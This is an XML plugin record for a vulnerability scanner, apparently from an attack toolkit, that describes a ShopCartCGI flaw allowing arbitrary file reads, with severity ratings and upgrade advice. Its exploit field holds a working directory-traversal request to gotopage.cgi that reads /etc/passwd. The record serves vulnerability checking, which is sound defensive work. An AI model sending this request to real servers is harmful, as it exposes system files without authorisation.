<plugin_id>68</plugin_id>
<plugin_name>ShopCartCGI arbitrary file reading</plugin_name>
<plugin_family>HTTP</plugin_family>
<plugin_created_date>2004/02/21</plugin_created_date>
<plugin_created_name>Marc Ruef</plugin_created_name>
<plugin_created_email>marc dot ruef at computec dot ch</plugin_created_email>
<plugin_created_web>http://www.computec.ch</plugin_created_web>
<plugin_created_company>computec.ch</plugin_created_company>
<plugin_updated_name>Marc Ruef</plugin_updated_name>
<plugin_updated_email>marc dot ruef at computec dot ch</plugin_updated_email>
<plugin_updated_web>http://www.computec.ch</plugin_updated_web>
<plugin_updated_company>computec.ch</plugin_updated_company>
<plugin_updated_date>2004/11/14</plugin_updated_date>
<plugin_version>2.0</plugin_version>
<plugin_changelog>Added the needed pattern_exists command to let it work properly. Corrected the plugin structure and added the accuracy values in 1.4. Improved the pattern matching and introduced the plugin changelog in 2.0</plugin_changelog>
<plugin_protocol>tcp</plugin_protocol>
<plugin_port>80</plugin_port>
<plugin_procedure_exploit>open|send /gotopage.cgi?4242+../../../../../../../../../../../../../etc/passwd\n\n|sleep|close|pattern_exists HTTP/#.# ### *root:*</plugin_procedure_exploit>
<plugin_exploit_accuracy>99</plugin_exploit_accuracy>
<plugin_comment>The HTTP request is copied from the Nessus plugin.</plugin_comment>
<bug_affected>ShopCartCGI</bug_affected>
<bug_not_affected>The latest version of ShopCartCGI</bug_not_affected>
<bug_vulnerability_class>Configuration</bug_vulnerability_class>
<bug_description>The remote host is running ShopCartCGI - a set of CGIs designed to set up an on-line shopping cart.There is a bug in this software which may allow an attacker to read arbitary files on the remote web server with the privileges of the web user.</bug_description>
<bug_solution>The web server should be deactivated or de-installed if not necessary. If this is not possible, upgrade to the latest version of this set of CGI or disable this software.</bug_solution>
<bug_fixing_time>15 minutes</bug_fixing_time>
<bug_exploit_availability>Yes</bug_exploit_availability>
<bug_exploit_url>http://www.securityfocus.com/bid/9670/exploit/</bug_exploit_url>
<bug_remote>Yes</bug_remote>
<bug_local>Yes</bug_local>
<bug_severity>High</bug_severity>
<bug_popularity>4</bug_popularity>
<bug_simplicity>9</bug_simplicity>
<bug_impact>7</bug_impact>
<bug_risk>7</bug_risk>
<bug_nessus_risk>Serious</bug_nessus_risk>
<bug_check_tool>Nessus is able to check this vulnerability.</bug_check_tool>
<source_securityfocus_bid>9670</source_securityfocus_bid>
<source_nessus_id>12064</source_nessus_id>
<source_literature>Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427</source_literature>
<source_misc>http://www.computec.ch</source_misc>